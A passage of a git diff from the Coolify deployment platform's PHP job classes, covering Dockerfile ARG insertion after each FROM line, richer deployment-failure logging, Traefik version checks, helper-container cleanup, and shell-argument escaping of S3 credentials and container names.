+            $this->secrets_hash_key = config('app.key');
         }
 
         if ($variables instanceof Collection) {
@@ -3227,6 +3326,20 @@ private function generate_secrets_hash($variables)
         return hash_hmac('sha256', $secrets_string, $this->secrets_hash_key);
     }
 
+    protected function findFromInstructionLines($dockerfile): array
+    {
+        $fromLines = [];
+        foreach ($dockerfile as $index => $line) {
+            $trimmedLine = trim($line);
+            // Check if line starts with FROM (case-insensitive)
+            if (preg_match('/^FROM\s+/i', $trimmedLine)) {
+                $fromLines[] = $index;
+            }
+        }
+
+        return $fromLines;
+    }
+
     private function add_build_env_variables_to_dockerfile()
     {
         if ($this->dockerBuildkitSupported) {
@@ -3239,6 +3352,18 @@ private function add_build_env_variables_to_dockerfile()
                 'ignore_errors' => true,
             ]);
             $dockerfile = collect(str($this->saved_outputs->get('dockerfile'))->trim()->explode("\n"));
+
+            // Find all FROM instruction positions
+            $fromLines = $this->findFromInstructionLines($dockerfile);
+
+            // If no FROM instructions found, skip ARG insertion
+            if (empty($fromLines)) {
+                return;
+            }
+
+            // Collect all ARG statements to insert
+            $argsToInsert = collect();
+
             if ($this->pull_request_id === 0) {
                 // Only add environment variables that are available during build
                 $envs = $this->application->environment_variables()
@@ -3247,9 +3372,9 @@ private function add_build_env_variables_to_dockerfile()
                     ->get();
                 foreach ($envs as $env) {
                     if (data_get($env, 'is_multiline') === true) {
-                        $dockerfile->splice(1, 0, ["ARG {$env->key}"]);
+                        $argsToInsert->push("ARG {$env->key}");
                     } else {
-                        $dockerfile->splice(1, 0, ["ARG {$env->key}={$env->real_value}"]);
+                        $argsToInsert->push("ARG {$env->key}={$env->real_value}");
                     }
                 }
                 // Add Coolify variables as ARGs
@@ -3259,9 +3384,7 @@ private function add_build_env_variables_to_dockerfile()
                         ->map(function ($var) {
                             return "ARG {$var}";
                         });
-                    foreach ($coolify_vars as $arg) {
-                        $dockerfile->splice(1, 0, [$arg]);
-                    }
+                    $argsToInsert = $argsToInsert->merge($coolify_vars);
                 }
             } else {
                 // Only add preview environment variables that are available during build
@@ -3271,9 +3394,9 @@ private function add_build_env_variables_to_dockerfile()
                     ->get();
                 foreach ($envs as $env) {
                     if (data_get($env, 'is_multiline') === true) {
-                        $dockerfile->splice(1, 0, ["ARG {$env->key}"]);
+                        $argsToInsert->push("ARG {$env->key}");
                     } else {
-                        $dockerfile->splice(1, 0, ["ARG {$env->key}={$env->real_value}"]);
+                        $argsToInsert->push("ARG {$env->key}={$env->real_value}");
                     }
                 }
                 // Add Coolify variables as ARGs
@@ -3283,15 +3406,23 @@ private function add_build_env_variables_to_dockerfile()
                         ->map(function ($var) {
                             return "ARG {$var}";
                         });
-                    foreach ($coolify_vars as $arg) {
-                        $dockerfile->splice(1, 0, [$arg]);
-                    }
+                    $argsToInsert = $argsToInsert->merge($coolify_vars);
                 }
             }
 
-            if ($envs->isNotEmpty()) {
-                $secrets_hash = $this->generate_secrets_hash($envs);
-                $dockerfile->splice(1, 0, ["ARG COOLIFY_BUILD_SECRETS_HASH={$secrets_hash}"]);
+            // Insert ARGs after each FROM instruction (in reverse order to maintain correct line numbers)
+            if ($argsToInsert->isNotEmpty()) {
+                foreach (array_reverse($fromLines) as $fromLineIndex) {
+                    // Insert all ARGs after this FROM instruction
+                    foreach ($argsToInsert->reverse() as $arg) {
+                        $dockerfile->splice($fromLineIndex + 1, 0, [$arg]);
+                    }
+                }
+                $envs_mapped = $envs->mapWithKeys(function ($env) {
+                    return [$env->key => $env->real_value];
+                });
+                $secrets_hash = $this->generate_secrets_hash($envs_mapped);
+                $argsToInsert->push("ARG COOLIFY_BUILD_SECRETS_HASH={$secrets_hash}");
             }
 
             $dockerfile_base64 = base64_encode($dockerfile->implode("\n"));
@@ -3606,7 +3737,7 @@ private function run_pre_deployment_command()
                 return;
             }
         }
-        throw new RuntimeException('Pre-deployment command: Could not find a valid container. Is the container name correct?');
+        throw new DeploymentException('Pre-deployment command: Could not find a valid container. Is the container name correct?');
     }
 
     private function run_post_deployment_command()
@@ -3642,7 +3773,7 @@ private function run_post_deployment_command()
                 return;
             }
         }
-        throw new RuntimeException('Post-deployment command: Could not find a valid container. Is the container name correct?');
+        throw new DeploymentException('Post-deployment command: Could not find a valid container. Is the container name correct?');
     }
 
     /**
@@ -3653,7 +3784,7 @@ private function checkForCancellation(): void
         $this->application_deployment_queue->refresh();
         if ($this->application_deployment_queue->status === ApplicationDeploymentStatus::CANCELLED_BY_USER->value) {
             $this->application_deployment_queue->addLogEntry('Deployment cancelled by user, stopping execution.');
-            throw new \RuntimeException('Deployment cancelled by user', 69420);
+            throw new DeploymentException('Deployment cancelled by user', 69420);
         }
     }
 
@@ -3686,7 +3817,7 @@ private function isInTerminalState(): bool
 
         if ($this->application_deployment_queue->status === ApplicationDeploymentStatus::CANCELLED_BY_USER->value) {
             $this->application_deployment_queue->addLogEntry('Deployment cancelled by user, stopping execution.');
-            throw new \RuntimeException('Deployment cancelled by user', 69420);
+            throw new DeploymentException('Deployment cancelled by user', 69420);
         }
 
         return false;
@@ -3759,7 +3890,7 @@ private function completeDeployment(): void
      * Fail the deployment.
      * Sends failure notification and queues next deployment.
      */
-    private function failDeployment(): void
+    protected function failDeployment(): void
     {
         $this->transitionToStatus(ApplicationDeploymentStatus::FAILED);
     }
@@ -3767,11 +3898,39 @@ private function failDeployment(): void
     public function failed(Throwable $exception): void
     {
         $this->failDeployment();
-        $this->application_deployment_queue->addLogEntry('Oops something is not okay, are you okay? 😢', 'stderr');
-        if (str($exception->getMessage())->isNotEmpty()) {
-            $this->application_deployment_queue->addLogEntry($exception->getMessage(), 'stderr');
+
+        // Log comprehensive error information
+        $errorMessage = $exception->getMessage() ?: 'Unknown error occurred';
+        $errorCode = $exception->getCode();
+        $errorClass = get_class($exception);
+
+        $this->application_deployment_queue->addLogEntry('========================================', 'stderr');
+        $this->application_deployment_queue->addLogEntry("Deployment failed: {$errorMessage}", 'stderr');
+        $this->application_deployment_queue->addLogEntry("Error type: {$errorClass}", 'stderr', hidden: true);
+        $this->application_deployment_queue->addLogEntry("Error code: {$errorCode}", 'stderr', hidden: true);
+
+        // Log the exception file and line for debugging
+        $this->application_deployment_queue->addLogEntry("Location: {$exception->getFile()}:{$exception->getLine()}", 'stderr', hidden: true);
+
+        // Log previous exceptions if they exist (for chained exceptions)
+        $previous = $exception->getPrevious();
+        if ($previous) {
+            $this->application_deployment_queue->addLogEntry('Caused by:', 'stderr', hidden: true);
+            $previousMessage = $previous->getMessage() ?: 'No message';
+            $previousClass = get_class($previous);
+            $this->application_deployment_queue->addLogEntry("  {$previousClass}: {$previousMessage}", 'stderr', hidden: true);
+            $this->application_deployment_queue->addLogEntry("  at {$previous->getFile()}:{$previous->getLine()}", 'stderr', hidden: true);
         }
 
+        // Log first few lines of stack trace for debugging
+        $trace = $exception->getTraceAsString();
+        $traceLines = explode("\n", $trace);
+        $this->application_deployment_queue->addLogEntry('Stack trace (first 5 lines):', 'stderr', hidden: true);
+        foreach (array_slice($traceLines, 0, 5) as $traceLine) {
+            $this->application_deployment_queue->addLogEntry("  {$traceLine}", 'stderr', hidden: true);
+        }
+        $this->application_deployment_queue->addLogEntry('========================================', 'stderr');
+
         if ($this->application->build_pack !== 'dockercompose') {
             $code = $exception->getCode();
             if ($code !== 69420) {
diff --git a/app/Jobs/CheckForUpdatesJob.php b/app/Jobs/CheckForUpdatesJob.php
index 1d3a345e1..4f2bfa68c 100644
--- a/app/Jobs/CheckForUpdatesJob.php
+++ b/app/Jobs/CheckForUpdatesJob.php
@@ -33,6 +33,9 @@ public function handle(): void
                     // New version available
                     $settings->update(['new_version_available' => true]);
                     File::put(base_path('versions.json'), json_encode($versions, JSON_PRETTY_PRINT));
+
+                    // Invalidate cache to ensure fresh data is loaded
+                    invalidate_versions_cache();
                 } else {
                     $settings->update(['new_version_available' => false]);
                 }
diff --git a/app/Jobs/CheckTraefikVersionForServerJob.php b/app/Jobs/CheckTraefikVersionForServerJob.php
new file mode 100644
index 000000000..88484bcce
--- /dev/null
+++ b/app/Jobs/CheckTraefikVersionForServerJob.php
@@ -0,0 +1,173 @@
+<?php
+
+namespace App\Jobs;
+
+use App\Models\Server;
+use App\Notifications\Server\TraefikVersionOutdated;
+use Illuminate\Bus\Queueable;
+use Illuminate\Contracts\Queue\ShouldQueue;
+use Illuminate\Foundation\Bus\Dispatchable;
+use Illuminate\Queue\InteractsWithQueue;
+use Illuminate\Queue\SerializesModels;
+
+class CheckTraefikVersionForServerJob implements ShouldQueue
+{
+    use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;
+
+    public $tries = 3;
+
+    public $timeout = 60;
+
+    /**
+     * Create a new job instance.
+     */
+    public function __construct(
+        public Server $server,
+        public array $traefikVersions
+    ) {}
+
+    /**
+     * Execute the job.
+     */
+    public function handle(): void
+    {
+        // Detect current version (makes SSH call)
+        $currentVersion = getTraefikVersionFromDockerCompose($this->server);
+
+        // Update detected version in database
+        $this->server->update(['detected_traefik_version' => $currentVersion]);
+
+        if (! $currentVersion) {
+            return;
+        }
+
+        // Check if image tag is 'latest' by inspecting the image (makes SSH call)
+        $imageTag = instant_remote_process([
+            "docker inspect coolify-proxy --format '{{.Config.Image}}' 2>/dev/null",
+        ], $this->server, false);
+
+        // Handle empty/null response from SSH command
+        if (empty(trim($imageTag))) {
+            return;
+        }
+
+        if (str_contains(strtolower(trim($imageTag)), ':latest')) {
+            return;
+        }
+
+        // Parse current version to extract major.minor.patch
+        $current = ltrim($currentVersion, 'v');
+        if (! preg_match('/^(\d+\.\d+)\.(\d+)$/', $current, $matches)) {
+            return;
+        }
+
+        $currentBranch = $matches[1]; // e.g., "3.6"
+
+        // Find the latest version for this branch
+        $latestForBranch = $this->traefikVersions["v{$currentBranch}"] ?? null;
+
+        if (! $latestForBranch) {
+            // User is on a branch we don't track - check if newer branches exist
+            $newerBranchInfo = $this->getNewerBranchInfo($currentBranch);
+
+            if ($newerBranchInfo) {
+                $this->storeOutdatedInfo($current, $newerBranchInfo['latest'], 'minor_upgrade', $newerBranchInfo['target']);
+            } else {
+                // No newer branch found, clear outdated info
+                $this->server->update(['traefik_outdated_info' => null]);
+            }
+
+            return;
+        }
+
+        // Compare patch version within the same branch
+        $latest = ltrim($latestForBranch, 'v');
+
+        // Always check for newer branches first
+        $newerBranchInfo = $this->getNewerBranchInfo($currentBranch);
+
+        if (version_compare($current, $latest, '<')) {
+            // Patch update available
+            $this->storeOutdatedInfo($current, $latest, 'patch_update', null, $newerBranchInfo);
+        } elseif ($newerBranchInfo) {
+            // Only newer branch available (no patch update)
+            $this->storeOutdatedInfo($current, $newerBranchInfo['latest'], 'minor_upgrade', $newerBranchInfo['target']);
+        } else {
+            // Fully up to date
+            $this->server->update(['traefik_outdated_info' => null]);
+        }
+    }
+
+    /**
+     * Get information about newer branches if available.
+     */
+    private function getNewerBranchInfo(string $currentBranch): ?array
+    {
+        $newestBranch = null;
+        $newestVersion = null;
+
+        foreach ($this->traefikVersions as $branch => $version) {
+            $branchNum = ltrim($branch, 'v');
+            if (version_compare($branchNum, $currentBranch, '>')) {
+                if (! $newestVersion || version_compare($version, $newestVersion, '>')) {
+                    $newestBranch = $branchNum;
+                    $newestVersion = $version;
+                }
+            }
+        }
+
+        if ($newestVersion) {
+            return [
+                'target' => "v{$newestBranch}",
+                'latest' => ltrim($newestVersion, 'v'),
+            ];
+        }
+
+        return null;
+    }
+
+    /**
+     * Store outdated information in database and send immediate notification.
+     */
+    private function storeOutdatedInfo(string $current, string $latest, string $type, ?string $upgradeTarget = null, ?array $newerBranchInfo = null): void
+    {
+        $outdatedInfo = [
+            'current' => $current,
+            'latest' => $latest,
+            'type' => $type,
+            'checked_at' => now()->toIso8601String(),
+        ];
+
+        // For minor upgrades, add the upgrade_target field (e.g., "v3.6")
+        if ($type === 'minor_upgrade' && $upgradeTarget) {
+            $outdatedInfo['upgrade_target'] = $upgradeTarget;
+        }
+
+        // If there's a newer branch available (even for patch updates), include that info
+        if ($newerBranchInfo) {
+            $outdatedInfo['newer_branch_target'] = $newerBranchInfo['target'];
+            $outdatedInfo['newer_branch_latest'] = $newerBranchInfo['latest'];
+        }
+
+        $this->server->update(['traefik_outdated_info' => $outdatedInfo]);
+
+        // Send immediate notification to the team
+        $this->sendNotification($outdatedInfo);
+    }
+
+    /**
+     * Send notification to team about outdated Traefik.
+     */
+    private function sendNotification(array $outdatedInfo): void
+    {
+        // Attach the outdated info as a dynamic property for the notification
+        $this->server->outdatedInfo = $outdatedInfo;
+
+        // Get the team and send notification
+        $team = $this->server->team()->first();
+
+        if ($team) {
+            $team->notify(new TraefikVersionOutdated(collect([$this->server])));
+        }
+    }
+}
diff --git a/app/Jobs/CheckTraefikVersionJob.php b/app/Jobs/CheckTraefikVersionJob.php
new file mode 100644
index 000000000..a513f280e
--- /dev/null
+++ b/app/Jobs/CheckTraefikVersionJob.php
@@ -0,0 +1,45 @@
+<?php
+
+namespace App\Jobs;
+
+use App\Enums\ProxyTypes;
+use App\Models\Server;
+use Illuminate\Bus\Queueable;
+use Illuminate\Contracts\Queue\ShouldQueue;
+use Illuminate\Foundation\Bus\Dispatchable;
+use Illuminate\Queue\InteractsWithQueue;
+use Illuminate\Queue\SerializesModels;
+
+class CheckTraefikVersionJob implements ShouldQueue
+{
+    use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;
+
+    public $tries = 3;
+
+    public function handle(): void
+    {
+        // Load versions from cached data
+        $traefikVersions = get_traefik_versions();
+
+        if (empty($traefikVersions)) {
+            return;
+        }
+
+        // Query all servers with Traefik proxy that are reachable
+        $servers = Server::whereNotNull('proxy')
+            ->whereProxyType(ProxyTypes::TRAEFIK->value)
+            ->whereRelation('settings', 'is_reachable', true)
+            ->whereRelation('settings', 'is_usable', true)
+            ->get();
+
+        if ($servers->isEmpty()) {
+            return;
+        }
+
+        // Dispatch individual server check jobs in parallel
+        // Each job will send immediate notifications when outdated Traefik is detected
+        foreach ($servers as $server) {
+            CheckTraefikVersionForServerJob::dispatch($server, $traefikVersions);
+        }
+    }
+}
diff --git a/app/Jobs/CleanupHelperContainersJob.php b/app/Jobs/CleanupHelperContainersJob.php
index c82a27ce9..f6f5e8b5b 100644
--- a/app/Jobs/CleanupHelperContainersJob.php
+++ b/app/Jobs/CleanupHelperContainersJob.php
@@ -2,6 +2,8 @@
 
 namespace App\Jobs;
 
+use App\Enums\ApplicationDeploymentStatus;
+use App\Models\ApplicationDeploymentQueue;
 use App\Models\Server;
 use Illuminate\Bus\Queueable;
 use Illuminate\Contracts\Queue\ShouldBeEncrypted;
@@ -20,10 +22,51 @@ public function __construct(public Server $server) {}
     public function handle(): void
     {
         try {
+            // Get all active deployments on this server
+            $activeDeployments = ApplicationDeploymentQueue::where('server_id', $this->server->id)
+                ->whereIn('status', [
+                    ApplicationDeploymentStatus::IN_PROGRESS->value,
+                    ApplicationDeploymentStatus::QUEUED->value,
+                ])
+                ->pluck('deployment_uuid')
+                ->toArray();
+
+            \Log::info('CleanupHelperContainersJob - Active deployments', [
+                'server' => $this->server->name,
+                'active_deployment_uuids' => $activeDeployments,
+            ]);
+
             $containers = instant_remote_process_with_timeout(['docker container ps --format \'{{json .}}\' | jq -s \'map(select(.Image | contains("'.config('constants.coolify.registry_url').'/coollabsio/coolify-helper")))\''], $this->server, false);
-            $containerIds = collect(json_decode($containers))->pluck('ID');
-            if ($containerIds->count() > 0) {
-                foreach ($containerIds as $containerId) {
+            $helperContainers = collect(json_decode($containers));
+
+            if ($helperContainers->count() > 0) {
+                foreach ($helperContainers as $container) {
+                    $containerId = data_get($container, 'ID');
+                    $containerName = data_get($container, 'Names');
+
+                    // Check if this container belongs to an active deployment
+                    $isActiveDeployment = false;
+                    foreach ($activeDeployments as $deploymentUuid) {
+                        if (str_contains($containerName, $deploymentUuid)) {
+                            $isActiveDeployment = true;
+                            break;
+                        }
+                    }
+
+                    if ($isActiveDeployment) {
+                        \Log::info('CleanupHelperContainersJob - Skipping active deployment container', [
+                            'container' => $containerName,
+                            'id' => $containerId,
+                        ]);
+
+                        continue;
+                    }
+
+                    \Log::info('CleanupHelperContainersJob - Removing orphaned helper container', [
+                        'container' => $containerName,
+                        'id' => $containerId,
+                    ]);
+
                     instant_remote_process_with_timeout(['docker container rm -f '.$containerId], $this->server, false);
                 }
             }
diff --git a/app/Jobs/CoolifyTask.php b/app/Jobs/CoolifyTask.php
index 49a5ba8dd..ce535e036 100755
--- a/app/Jobs/CoolifyTask.php
+++ b/app/Jobs/CoolifyTask.php
@@ -3,18 +3,35 @@
 namespace App\Jobs;
 
 use App\Actions\CoolifyTask\RunRemoteProcess;
+use App\Enums\ProcessStatus;
 use Illuminate\Bus\Queueable;
 use Illuminate\Contracts\Queue\ShouldBeEncrypted;
 use Illuminate\Contracts\Queue\ShouldQueue;
 use Illuminate\Foundation\Bus\Dispatchable;
 use Illuminate\Queue\InteractsWithQueue;
 use Illuminate\Queue\SerializesModels;
+use Illuminate\Support\Facades\Log;
 use Spatie\Activitylog\Models\Activity;
 
 class CoolifyTask implements ShouldBeEncrypted, ShouldQueue
 {
     use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;
 
+    /**
+     * The number of times the job may be attempted.
+     */
+    public $tries = 3;
+
+    /**
+     * The maximum number of unhandled exceptions to allow before failing.
+     */
+    public $maxExceptions = 1;
+
+    /**
+     * The number of seconds the job can run before timing out.
+     */
+    public $timeout = 600;
+
     /**
      * Create a new job instance.
      */
@@ -42,4 +59,53 @@ public function handle(): void
 
         $remote_process();
     }
+
+    /**
+     * Calculate the number of seconds to wait before retrying the job.
+     */
+    public function backoff(): array
+    {
+        return [30, 90, 180]; // 30s, 90s, 180s between retries
+    }
+
+    /**
+     * Handle a job failure.
+     */
+    public function failed(?\Throwable $exception): void
+    {
+        Log::channel('scheduled-errors')->error('CoolifyTask permanently failed', [
+            'job' => 'CoolifyTask',
+            'activity_id' => $this->activity->id,
+            'server_uuid' => $this->activity->getExtraProperty('server_uuid'),
+            'command_preview' => substr($this->activity->getExtraProperty('command') ?? '', 0, 200),
+            'error' => $exception?->getMessage(),
+            'total_attempts' => $this->attempts(),
+            'trace' => $exception?->getTraceAsString(),
+        ]);
+
+        // Update activity status to reflect permanent failure
+        $this->activity->properties = $this->activity->properties->merge([
+            'status' => ProcessStatus::ERROR->value,
+            'error' => $exception?->getMessage() ?? 'Job permanently failed',
+            'failed_at' => now()->toIso8601String(),
+        ]);
+        $this->activity->save();
+
+        // Dispatch cleanup event on failure (same as on success)
+        if ($this->call_event_on_finish) {
+            try {
+                $eventClass = "App\\Events\\$this->call_event_on_finish";
+                if (! is_null($this->call_event_data)) {
+                    event(new $eventClass($this->call_event_data));
+                } else {
+                    event(new $eventClass($this->activity->causer_id));
+                }
+                Log::info('Cleanup event dispatched after job failure', [
+                    'event' => $this->call_event_on_finish,
+                ]);
+            } catch (\Throwable $e) {
+                Log::error('Error dispatching cleanup event on failure: '.$e->getMessage());
+            }
+        }
+    }
 }
diff --git a/app/Jobs/DatabaseBackupJob.php b/app/Jobs/DatabaseBackupJob.php
index 11da6fac1..45ac6eb7d 100644
--- a/app/Jobs/DatabaseBackupJob.php
+++ b/app/Jobs/DatabaseBackupJob.php
@@ -23,6 +23,7 @@
 use Illuminate\Foundation\Bus\Dispatchable;
 use Illuminate\Queue\InteractsWithQueue;
 use Illuminate\Queue\SerializesModels;
+use Illuminate\Support\Facades\Log;
 use Illuminate\Support\Str;
 use Throwable;
 use Visus\Cuid2\Cuid2;
@@ -31,6 +32,8 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue
 {
     use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;
 
+    public $maxExceptions = 1;
+
     public ?Team $team = null;
 
     public Server $server;
@@ -74,7 +77,7 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue
     public function __construct(public ScheduledDatabaseBackup $backup)
     {
         $this->onQueue('high');
-        $this->timeout = $backup->timeout;
+        $this->timeout = $backup->timeout ?? 3600;
     }
 
     public function handle(): void
@@ -636,7 +639,13 @@ private function upload_to_s3(): void
             } else {
                 $commands[] = "docker run -d --network {$network} --name backup-of-{$this->backup_log_uuid} --rm -v $this->backup_location:$this->backup_location:ro {$fullImageName}";
             }
-            $commands[] = "docker exec backup-of-{$this->backup_log_uuid} mc alias set temporary {$endpoint} {$key} \"{$secret}\"";
+
+            // Escape S3 credentials to prevent command injection
+            $escapedEndpoint = escapeshellarg($endpoint);
+            $escapedKey = escapeshellarg($key);
+            $escapedSecret = escapeshellarg($secret);
+
+            $commands[] = "docker exec backup-of-{$this->backup_log_uuid} mc alias set temporary {$escapedEndpoint} {$escapedKey} {$escapedSecret}";
             $commands[] = "docker exec backup-of-{$this->backup_log_uuid} mc cp $this->backup_location temporary/$bucket{$this->backup_dir}/";
             instant_remote_process($commands, $this->server);
 
@@ -653,24 +662,42 @@ private function upload_to_s3(): void
 
     private function getFullImageName(): string
     {
-        $settings = instanceSettings();
         $helperImage = config('constants.coolify.helper_image');
-        $latestVersion = $settings->helper_version;
+        $latestVersion = getHelperVersion();
 
         return "{$helperImage}:{$latestVersion}";
     }
 
     public function failed(?Throwable $exception): void
     {
+        Log::channel('scheduled-errors')->error('DatabaseBackup permanently failed', [
+            'job' => 'DatabaseBackupJob',
+            'backup_id' => $this->backup->uuid,
+            'database' => $this->database?->name ?? 'unknown',
+            'database_type' => get_class($this->database ?? new \stdClass),
+            'server' => $this->server?->name ?? 'unknown',
+            'total_attempts' => $this->attempts(),
+            'error' => $exception?->getMessage(),
+            'trace' => $exception?->getTraceAsString(),
+        ]);
+
         $log = ScheduledDatabaseBackupExecution::where('uuid', $this->backup_log_uuid)->first();
 
         if ($log) {
             $log->update([
                 'status' => 'failed',
-                'message' => 'Job failed: '.($exception?->getMessage() ?? 'Unknown error'),
+                'message' => 'Job permanently failed after '.$this->attempts().' attempts: '.($exception?->getMessage() ?? 'Unknown error'),
                 'size' => 0,
                 'filename' => null,
+                'finished_at' => Carbon::now(),
             ]);
         }
+
+        // Notify team about permanent failure
+        if ($this->team) {
+            $databaseName = $log?->database_name ?? 'unknown';
+            $output = $this->backup_output ?? $exception?->getMessage() ?? 'Unknown error';
+            $this->team->notify(new BackupFailed($this->backup, $this->database, $output, $databaseName));
+        }
     }
 }
diff --git a/app/Jobs/DeleteResourceJob.php b/app/Jobs/DeleteResourceJob.php
index b9fbebcc9..c4358570e 100644
--- a/app/Jobs/DeleteResourceJob.php
+++ b/app/Jobs/DeleteResourceJob.php
@@ -124,16 +124,54 @@ private function deleteApplicationPreview()
             $this->resource->delete();
         }
 
+        // Cancel any active deployments for this PR (same logic as API cancel_deployment)
+        $activeDeployments = \App\Models\ApplicationDeploymentQueue::where('application_id', $application->id)
+            ->where('pull_request_id', $pull_request_id)
+            ->whereIn('status', [
+                \App\Enums\ApplicationDeploymentStatus::QUEUED->value,
+                \App\Enums\ApplicationDeploymentStatus::IN_PROGRESS->value,
+            ])
+            ->get();
+
+        foreach ($activeDeployments as $activeDeployment) {
+            try {
+                // Mark deployment as cancelled
+                $activeDeployment->update([
+                    'status' => \App\Enums\ApplicationDeploymentStatus::CANCELLED_BY_USER->value,
+                ]);
+
+                // Add cancellation log entry
+                $activeDeployment->addLogEntry('Deployment cancelled: Pull request closed.', 'stderr');
+
+                // Check if helper container exists and kill it
+                $deployment_uuid = $activeDeployment->deployment_uuid;
+                $escapedDeploymentUuid = escapeshellarg($deployment_uuid);
+                $checkCommand = "docker ps -a --filter name={$escapedDeploymentUuid} --format '{{.Names}}'";
+                $containerExists = instant_remote_process([$checkCommand], $server);
+
+                if ($containerExists && str($containerExists)->trim()->isNotEmpty()) {
+                    instant_remote_process(["docker rm -f {$escapedDeploymentUuid}"], $server);
+                    $activeDeployment->addLogEntry('Deployment container stopped.');
+                } else {
+                    $activeDeployment->addLogEntry('Helper container not yet started. Deployment will be cancelled when job checks status.');
+                }
+
+            } catch (\Throwable $e) {
+                // Silently handle errors during deployment cancellation
+            }
+        }
+
         try {
             if ($server->isSwarm()) {
-                instant_remote_process(["docker stack rm {$application->uuid}-{$pull_request_id}"], $server);
+                $escapedStackName = escapeshellarg("{$application->uuid}-{$pull_request_id}");
+                instant_remote_process(["docker stack rm {$escapedStackName}"], $server);
             } else {
                 $containers = getCurrentApplicationContainerStatus($server, $application->id, $pull_request_id)->toArray();
                 $this->stopPreviewContainers($containers, $server);
             }
         } catch (\Throwable $e) {
             // Log the error but don't fail the job
-            ray('Error stopping preview containers: '.$e->getMessage());
+            \Log::warning('Error stopping preview containers for application '.$application->uuid.', PR #'.$pull_request_id.': '.$e->getMessage());
         }
 
         // Finally, force delete to trigger resource cleanup
@@ -156,7 +194,6 @@ private function stopPreviewContainers(array $containers, $server, int $timeout
             "docker stop --time=$timeout $containerList",
             "docker rm -f $containerList",
         ];
-
         instant_remote_process(
             command: $commands,
             server: $server,
diff --git a/app/Jobs/PullHelperImageJob.php b/app/Jobs/PullHelperImageJob.php
deleted file mode 100644
index b92886d38..000000000
--- a/app/Jobs/PullHelperImageJob.php
+++ /dev/null
@@ -1,30 +0,0 @@
-<?php
-
-namespace App\Jobs;
-
-use App\Models\Server;
-use Illuminate\Bus\Queueable;
-use Illuminate\Contracts\Queue\ShouldBeEncrypted;
-use Illuminate\Contracts\Queue\ShouldQueue;
-use Illuminate\Foundation\Bus\Dispatchable;
-use Illuminate\Queue\InteractsWithQueue;
-use Illuminate\Queue\SerializesModels;
-
-class PullHelperImageJob implements ShouldBeEncrypted, ShouldQueue
-{
-    use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;
-
-    public $timeout = 1000;
-
-    public function __construct(public Server $server)
-    {
-        $this->onQueue('high');
-    }
-
-    public function handle(): void
-    {
-        $helperImage = config('constants.coolify.helper_image');
-        $latest_version = instanceSettings()->helper_version;
-        instant_remote_process(["docker pull -q {$helperImage}:{$latest_version}"], $this->server, false);
-    }
-}
diff --git a/app/Jobs/PushServerUpdateJob.php b/app/Jobs/PushServerUpdateJob.php
index 7726c2c73..9d44e08f9 100644
--- a/app/Jobs/PushServerUpdateJob.php
+++ b/app/Jobs/PushServerUpdateJob.php
@@ -13,6 +13,8 @@
 use App\Models\ServiceApplication;
 use App\Models\ServiceDatabase;
 use App\Notifications\Container\ContainerRestarted;
+use App\Services\ContainerStatusAggregator;
+use App\Traits\CalculatesExcludedStatus;
 use Illuminate\Bus\Queueable;
 use Illuminate\Contracts\Queue\ShouldBeEncrypted;
 use Illuminate\Contracts\Queue\ShouldQueue;
@@ -25,6 +27,7 @@
 
 class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced
 {
+    use CalculatesExcludedStatus;
     use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;
 
     public $tries = 1;
@@ -67,6 +70,8 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced
 
     public Collection $applicationContainerStatuses;
 
+    public Collection $serviceContainerStatuses;
+
     public bool $foundProxy = false;
 
     public bool $foundLogDrainContainer = false;
@@ -90,6 +95,7 @@ public function __construct(public Server $server, public $data)
         $this->foundApplicationPreviewsIds = collect();
         $this->foundServiceDatabaseIds = collect();
         $this->applicationContainerStatuses = collect();
+        $this->serviceContainerStatuses = collect();
         $this->allApplicationIds = collect();
         $this->allDatabaseUuids = collect();
         $this->allTcpProxyUuids = collect();
@@ -99,6 +105,20 @@ public function __construct(public Server $server, public $data)
 
     public function handle()
     {
+        // Defensive initialization for Collection properties to handle queue deserialization edge cases
+        $this->serviceContainerStatuses ??= collect();
+        $this->applicationContainerStatuses ??= collect();
+        $this->foundApplicationIds ??= collect();
+        $this->foundDatabaseUuids ??= collect();
+        $this->foundServiceApplicationIds ??= collect();
+        $this->foundApplicationPreviewsIds ??= collect();
+        $this->foundServiceDatabaseIds ??= collect();
+        $this->allApplicationIds ??= collect();
+        $this->allDatabaseUuids ??= collect();
+        $this->allTcpProxyUuids ??= collect();
+        $this->allServiceApplicationIds ??= collect();
+        $this->allServiceDatabaseIds ??= collect();
+
         // TODO: Swarm is not supported yet
         if (! $this->data) {
             throw new \Exception('No data provided');
@@ -108,7 +128,6 @@ public function handle()
         $this->server->sentinelHeartbeat();
 
         $this->containers = collect(data_get($data, 'containers'));
-
         $filesystemUsageRoot = data_get($data, 'filesystem_usage_root.used_percentage');
         ServerStorageCheckJob::dispatch($this->server, $filesystemUsageRoot);
 
@@ -141,65 +160,88 @@ public function handle()
 
         foreach ($this->containers as $container) {
             $containerStatus = data_get($container, 'state', 'exited');
-            $containerHealth = data_get($container, 'health_status', 'unhealthy');
-            $containerStatus = "$containerStatus ($containerHealth)";
+            $rawHealthStatus = data_get($container, 'health_status');
+            $containerHealth = $rawHealthStatus ?? 'unknown';
+            // Only append health status if container is not exited
+            if ($containerStatus !== 'exited') {
+                $containerStatus = "$containerStatus:$containerHealth";
+            }
             $labels = collect(data_get($container, 'labels'));
             $coolify_managed = $labels->has('coolify.managed');
-            if ($coolify_managed) {
-                $name = data_get($container, 'name');
-                if ($name === 'coolify-log-drain' && $this->isRunning($containerStatus)) {
-                    $this->foundLogDrainContainer = true;
-                }
-                if ($labels->has('coolify.applicationId')) {
-                    $applicationId = $labels->get('coolify.applicationId');
-                    $pullRequestId = $labels->get('coolify.pullRequestId', '0');
-                    try {
-                        if ($pullRequestId === '0') {
-                            if ($this->allApplicationIds->contains($applicationId) && $this->isRunning($containerStatus)) {
-                                $this->foundApplicationIds->push($applicationId);
-                            }
-                            // Store container status for aggregation
-                            if (! $this->applicationContainerStatuses->has($applicationId)) {
-                                $this->applicationContainerStatuses->put($applicationId, collect());
-                            }
-                            $containerName = $labels->get('com.docker.compose.service');
-                            if ($containerName) {
